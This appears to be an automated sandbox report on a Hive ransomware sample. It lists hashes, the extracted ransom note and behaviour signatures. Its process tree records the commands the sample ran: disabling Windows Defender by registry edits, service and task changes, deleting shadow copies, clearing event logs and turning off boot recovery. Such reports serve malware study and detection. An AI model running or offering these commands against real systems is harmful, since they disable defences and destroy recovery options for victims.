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23-12-2022 19:54

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221223-yerbcsha78 10

Analysis

  • max time kernel
    1694s
  • max time network
    1682s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    23-12-2022 20:19

General

  • Target

    zi1ysv64h.exe

  • Size

    3.3MB

  • MD5

    5384c6825a5707241c11d78529dbbfee

  • SHA1

    85f5587e8ad534c2e5de0e72450b61ebda93e4fd

  • SHA256

    3858e95bcf18c692f8321e3f8380c39684edb90bb622f37911144950602cea21

  • SHA512

    856861295efb9c1b0000b369297cf6905a277c2d7dd0bc238f3884cd22598055450bf0459d68441f135bb77150685a86707ea9320a37e10548b40185f09b961f

  • SSDEEP

    49152:HJ9mQ5uetkErb/TKvO90dL3BmAFd4A64nsfJ+9NRUMZXuPH9fc0KHPKG/g+eNgiz:HJ9jkl9NbBo9fc0KHYno

Malware Config

Extracted

Path

C:\K8zJ_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at you will need to purchase our decryption software. Please contact our sales department at: Login: Password: To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.2o4xo files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe
    "C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1556
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1720
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:1348
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1744
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:896
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:600
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:936
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:672
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:568
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1404
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:556
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:524
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:1528
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:968
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1620
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1928
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:364
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1896
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1772
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1908
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1548
                    • C:\Windows\system32\sc.exe
                      sc.exe config "UI0Detect" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:560
                    • C:\Windows\system32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1028
                    • C:\Windows\system32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1688
                    • C:\Windows\system32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1824
                    • C:\Windows\system32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:1948
                      • C:\Windows\system32\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:2000
                        • C:\Windows\system32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:1356
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:1708
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:1216
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:336
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1600
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:568
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:976
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:824
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:1532
                                • C:\Windows\system32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:852
                                  • C:\Windows\system32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:1320
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:756
                                      • C:\Windows\system32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:580
                                        • C:\Windows\system32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:1940
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:996
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:980
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:764
                                                • C:\Windows\system32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1140
                                                  • C:\Windows\system32\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:284
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:896
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:1568
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:1212
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:2004
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:1620
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:1736
                                                                • C:\Windows\system32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:1572
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:808
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:1500
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:1888
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:960
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:1740
                                                                          • C:\Windows\system32\vssadmin.exe
                                                                            vssadmin.exe delete shadows /all /quiet
                                                                            2⤵
                                                                            • Interacts with shadow copies
                                                                            PID:1368
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:108
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:920
                                                                          • C:\Windows\system32\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1144
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1960
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:944
                                                                          • C:\Windows\system32\bcdedit.exe
                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:1192
                                                                          • C:\Windows\system32\bcdedit.exe
                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:948
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:1476
                                                                              • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                3⤵
                                                                                • Deletes Windows Defender Definitions
                                                                                PID:792
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:820
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:1452
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:792
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:1676
                                                                                • C:\Windows\system32\notepad.exe
                                                                                  notepad.exe C:\K8zJ_HOW_TO_DECRYPT.txt
                                                                                  2⤵
                                                                                  • Opens file in notepad (likely ransom note)
                                                                                  PID:1104
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"
                                                                                  2⤵
                                                                                  • Deletes itself
                                                                                  PID:2024
                                                                                  • C:\Windows\system32\PING.EXE
                                                                                    ping.exe -n 5 127.0.0.1
                                                                                    3⤵
                                                                                    • Runs ping.exe
                                                                                    PID:364

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v6

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                                                                              Downloads

                                                                              • C:\K8zJ_HOW_TO_DECRYPT.txt

                                                                                Filesize

                                                                                1KB

                                                                                MD5

                                                                                f939d786e1fb30d287357d553719cf88

                                                                                SHA1

                                                                                b5001e66047bb37310e8b9c78fef2d1ef6443e1f

                                                                                SHA256

                                                                                5f3f1382a950d3c94afafb319c58b2b3731bce694966973685aad6bf9b156cad

                                                                                SHA512

                                                                                8da927a8e9425e10a29daeb4b93f66484eca789805dd66a29bfee52b59c2a6df9895bc5dfd814eca788ed27b53463cdd4e8983ff2fc04496d5998a4193f3c2a9

                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                                Filesize

                                                                                7KB

                                                                                MD5

                                                                                9653669d4851e3803e605025307455f3

                                                                                SHA1

                                                                                d33c880acd5cf7c46e16a61d38c8d6b165da3615

                                                                                SHA256

                                                                                58c341af76e8263e2f2a1ac3498ccdbe75c88bb22b6fe9f1bd6c2cd997144061

                                                                                SHA512

                                                                                4afbfab48a57ef8c85bf6bda2ce9eaee7a1c0617515225c0deb4a796571a9a65f2cdbd2c667904d6e8e93f3727ea486f2e9c1e819c7f4e7a15b6f78380db1f3a

                                                                              • memory/108-113-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                              • memory/1452-122-0x000007FEF4A40000-0x000007FEF5463000-memory.dmp

                                                                                Filesize

                                                                                10.1MB

                                                                              • memory/1452-126-0x000000000278B000-0x00000000027AA000-memory.dmp

                                                                                Filesize

                                                                                124KB

                                                                              • memory/1452-125-0x0000000002784000-0x0000000002787000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                              • memory/1452-124-0x0000000002784000-0x0000000002787000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                              • memory/1452-123-0x000007FEF3EE0000-0x000007FEF4A3D000-memory.dmp

                                                                                Filesize

                                                                                11.4MB

                                                                              • memory/1676-133-0x00000000020DB000-0x00000000020FA000-memory.dmp

                                                                                Filesize

                                                                                124KB

                                                                              • memory/1676-132-0x00000000020D4000-0x00000000020D7000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                              • memory/1676-131-0x000007FEF3540000-0x000007FEF409D000-memory.dmp

                                                                                Filesize

                                                                                11.4MB

                                                                              • memory/1676-130-0x00000000020D4000-0x00000000020D7000-memory.dmp

                                                                                Filesize

                                                                                12KB

                                                                              • memory/1676-129-0x000007FEF40A0000-0x000007FEF4AC3000-memory.dmp

                                                                                Filesize

                                                                                10.1MB